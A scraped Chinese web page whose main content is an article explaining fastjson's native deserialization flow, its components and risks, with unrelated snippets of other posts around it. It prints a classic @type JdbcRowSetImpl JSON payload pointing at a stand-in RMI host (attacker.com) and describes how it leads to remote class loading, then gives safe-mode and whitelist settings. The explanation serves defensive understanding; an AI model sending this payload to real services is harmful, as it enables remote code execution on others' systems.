做博客的网站有哪些网络计划的优化

张小明 2026/1/10 18:39:53
做博客的网站有哪些,网络计划的优化,开发app需要的技术,郑州三牛网站建设一、fastjson 反序列化核心概念 首先明确基础定义#xff1a; 反序列化#xff1a;将 JSON 字符串转换为 Java 对象的过程#xff0c;fastjson 作为高性能 JSON 库#xff0c;其反序列化核心是「基于字节码生成 反射」的混合实现。原生反序列化#xff1a;指 fastjson 默…一、fastjson 反序列化核心概念首先明确基础定义反序列化将 JSON 字符串转换为 Java 对象的过程fastjson 作为高性能 JSON 库其反序列化核心是「基于字节码生成 反射」的混合实现。原生反序列化指 fastjson 默认的反序列化方式非ParserConfig.getGlobalInstance().setSafeMode(true)等安全模式支持完整的类加载、属性注入和方法调用。二、fastjson 原生反序列化核心流程fastjson 反序列化的完整执行链路可分为 5 个核心步骤我用流程图文字拆解输入JSON字符串JSON解析器初始化语法解析与Token提取类加载与实例化属性注入与方法调用返回最终Java对象步骤1JSON解析器初始化fastjson 会创建DefaultJSONParser对象核心参数包括JSON 字符串的字符数组配置类ParserConfig决定是否允许加载自定义类、是否开启安全模式等特征配置Feature如是否允许单引号、是否忽略未知属性等核心代码示例// 手动初始化解析器fastjson底层调用逻辑Stringjson{\type\:\com.example.User\,\name\:\test\};ParserConfigconfigParserConfig.getGlobalInstance();// 默认全局配置DefaultJSONParserparsernewDefaultJSONParser(json,config,Feature.Default);步骤2语法解析与Token提取DefaultJSONParser通过Lexer对 JSON 字符串进行词法分析将字符串拆分为 Token如{、}、type、字符串值、数字值等核心逻辑识别 JSON 结构对象/数组/基本类型提取关键标识尤其是type字段fastjson 反序列化的核心入口指定要实例化的类名校验 JSON 语法合法性如括号匹配、引号闭合等。步骤3类加载与实例化这是反序列化的核心环节fastjson 会根据type指定的类名或默认类完成类加载和对象创建类加载通过ParserConfig的checkAutoType方法校验类名原生模式下默认允许大部分类然后通过Class.forName加载类对象实例化优先调用类的无参构造方法如果没有无参构造且未指定 Creator会抛出异常支持通过JSONCreator注解指定有参构造/静态工厂方法对于集合/数组等容器类会创建对应的空容器对象。核心代码简化版// 类加载逻辑ParserConfig核心方法publicClass?checkAutoType(StringtypeName,Class?expectClass,intfeatures){// 原生模式下跳过大部分安全校验Class?clazzClass.forName(typeName,true,Thread.currentThread().getContextClassLoader());returnclazz;}// 对象实例化JavaBeanDeserializerpublicObjectcreateInstance(DefaultJSONParserparser,Typetype){// 优先找无参构造Constructor?constructorclazz.getDeclaredConstructor();constructor.setAccessible(true);returnconstructor.newInstance();}步骤4属性注入与方法调用实例化对象后fastjson 会遍历 JSON 中的键值对完成属性赋值核心逻辑属性匹配将 JSON 的 key 与 Java 类的字段名/setter 方法匹配支持驼峰/下划线自动转换类型转换将 JSON 中的字符串/数字等值转换为 Java 字段的类型如 String → Integer、JSON 对象 → 嵌套 Java 对象赋值方式优先调用setXxx()方法符合 JavaBean 规范如果没有 setter直接通过反射设置字段值field.setAccessible(true)特殊方法调用对于实现java.io.Externalizable的类会调用readExternal方法对于自定义反序列化器ObjectDeserializer会调用其deserialze方法。步骤5返回最终对象完成所有属性注入后将实例化并赋值完成的 Java 对象返回反序列化流程结束。三、fastjson 反序列化关键组件组件名作用DefaultJSONParser核心解析器负责 JSON 词法/语法分析ParserConfig反序列化配置中心控制类加载、自动类型检测、反序列化器注册等JavaBeanDeserializer默认的 JavaBean 反序列化器处理普通类的实例化和属性注入Lexer词法分析器将 JSON 字符串拆分为 TokenObjectDeserializer反序列化器接口自定义类可实现该接口定制反序列化逻辑四、原生反序列化的核心风险深度剖析重点fastjson 原生反序列化的最大问题在于type字段的滥用核心风险点任意类加载原生模式下checkAutoType校验宽松攻击者可通过type指定危险类如com.sun.rowset.JdbcRowSetImpl反射执行恶意代码危险类实例化后其属性注入过程会触发敏感方法如JdbcRowSetImpl的setDataSourceName会触发 JNDI 调用进而加载远程恶意类无参构造触发风险部分危险类的无参构造方法本身就会执行敏感逻辑如文件写入、命令执行。典型恶意 JSON 示例{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://attacker.com/malicious.class,autoCommit:true}执行流程加载JdbcRowSetImpl类 → 实例化无参构造注入dataSourceName属性调用setDataSourceName注入autoCommit属性调用setAutoCommit内部触发connect方法访问 RMI 服务器加载恶意类恶意类执行命令完成攻击。五、fastjson 反序列化优化/安全配置为了规避风险实际使用中需调整配置开启安全模式ParserConfig.getGlobalInstance().setSafeMode(true);白名单控制ParserConfigconfignewParserConfig();config.addAccept(com.example.);// 只允许反序列化指定包下的类禁用type字段DefaultJSONParserparsernewDefaultJSONParser(json,config,Feature.DisableSpecialKeyDetect);总结fastjson 原生反序列化核心是「解析 JSON → 加载类 → 实例化对象 → 反射注入属性」依赖ParserConfig控制类加载规则type字段是反序列化的核心入口也是安全风险的主要来源原生模式下校验宽松易导致任意代码执行生产环境必须开启安全模式/白名单禁用不必要的type解析避免反序列化漏洞。
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

养殖企业网站模板聚名网备案域名购买

Dify可视化界面的操作体验与演进思考 在企业智能化转型的浪潮中,一个反复出现的难题是:业务部门迫切需要AI能力落地,但技术团队却疲于应对复杂模型调用、提示工程优化和系统集成。传统的开发模式往往陷入“需求-编码-测试-迭代”的漫长循环&…

张小明 2026/1/8 4:06:31 网站建设

网站开发报价单 excel网页如何设计

抖音合集全自动下载工具使用全攻略 【免费下载链接】douyin-downloader 项目地址: https://gitcode.com/GitHub_Trending/do/douyin-downloader 还在为手动保存抖音合集视频而烦恼吗?每次看到精彩的内容合集,只能一个个点击下载,效率…

张小明 2026/1/8 4:06:29 网站建设

传统文化网站建设天津 论坛网站制作公司

RISC-V陷阱处理机制:从硬件中断到系统调用的底层逻辑你有没有想过,当你在嵌入式设备上调用printf()的时候,CPU 是如何“感知”这个请求,并安全地把控制权交给操作系统的?又或者,当一个定时器到达设定时间&a…

张小明 2026/1/8 2:44:55 网站建设

在线建站系统seo优化排名易下拉用法

数据安全是每个电脑用户必须面对的核心问题,而Rescuezilla正是为解决这一问题而生的开源系统恢复多用途工具。这款工具将复杂的备份恢复操作变得简单直观,让普通用户也能轻松保护重要数据。无论是系统崩溃、硬盘故障还是意外删除,Rescuezilla…

张小明 2026/1/10 0:59:53 网站建设

河南网站建设公司网站建设流程行业现状

点击下方卡片,关注「3D视觉工坊」公众号选择星标,干货第一时间送达来源:机器之心「3D视觉从入门到精通」知识星球(点开有惊喜) !星球内新增20多门3D视觉系统课程、入门环境配置教程、多场顶会直播、顶会论文最新解读、3D视觉算法源…

张小明 2026/1/5 15:36:47 网站建设

四大门户网站的优缺点重庆网站seo分析

第一章:模块间通信总出错?Open-AutoGLM的破局之道在现代软件架构中,模块化设计虽提升了系统的可维护性与扩展性,但也带来了复杂的通信问题。不同模块间因协议不一致、数据格式差异或异步调用超时等问题,常导致系统整体…

张小明 2026/1/5 15:36:59 网站建设